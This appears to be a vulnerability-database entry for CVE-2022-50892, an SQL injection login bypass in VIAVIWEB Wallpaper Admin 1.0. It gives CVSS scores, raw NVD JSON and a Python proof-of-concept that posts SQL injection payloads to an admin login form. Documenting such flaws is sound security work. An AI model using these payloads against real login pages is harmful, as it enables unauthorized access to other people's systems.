Security Vulnerability Report
中文
CVE-2022-50892 CVSS 8.2 HIGH

CVE-2022-50892

Published: 2026-01-13 23:15:51
Last Modified: 2026-01-22 20:19:57

Description

VIAVIWEB Wallpaper Admin 1.0 contains a SQL injection vulnerability that allows attackers to bypass authentication by manipulating login credentials. Attackers can exploit the login page by injecting 'admin' or 1=1-- - payload to gain unauthorized access to the administrative interface.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:* - VULNERABLE
VIAVIWEB Wallpaper Admin 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2022-50892 SQL Injection Authentication Bypass PoC # Target: VIAVIWEB Wallpaper Admin 1.0 # Vulnerability: SQL Injection in login page allowing authentication bypass TARGET_URL = "http://target.com/admin/index.php" # Malicious payload to bypass authentication # Payload: 'admin' or 1=1-- - # This payload exploits SQL injection in the login form payloads = [ "'admin' or 1=1-- -", "' OR 1=1-- -", "admin' or '1'='1", "' or '1'='1'-- -" ] def test_sqli_bypass(): print("[*] Testing CVE-2022-50892 SQL Injection Authentication Bypass") print(f"[*] Target: {TARGET_URL}") for payload in payloads: print(f"\n[*] Testing payload: {payload}") # Login request data data = { "username": payload, "password": "any_password", "submit": "Login" } try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for successful login indicators if "dashboard" in response.text.lower() or "admin" in response.url: print(f"[+] SUCCESS! Authentication bypassed with payload: {payload}") print(f"[+] Access granted to admin panel") return True else: print(f"[-] Failed with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") print("\n[-] All payloads failed") return False if __name__ == "__main__": test_sqli_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50892", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:50.740", "lastModified": "2026-01-22T20:19:57.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "VIAVIWEB Wallpaper Admin 1.0 contains a SQL injection vulnerability that allows attackers to bypass authentication by manipulating login credentials. Attackers can exploit the login page by injecting 'admin' or 1=1-- - payload to gain unauthorized access to the administrative interface."}, {"lang": "es", "value": "VIAVIWEB Wallpaper Admin 1.0 contiene una vulnerabilidad de inyección SQL que permite a los atacantes eludir la autenticación manipulando las credenciales de inicio de sesión. Los atacantes pueden aprovechar la vulnerabilidad de la página de inicio de sesión inyectando la carga útil 'admin' o 1=1-- - para obtener acceso no autorizado a la interfaz administrativa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "CDB42A78-EAEC-481B-8A13-F5218CE66B45"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51033", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.viaviweb.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/viaviweb-wallpaper-admin-sql-injection-via-login-page", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}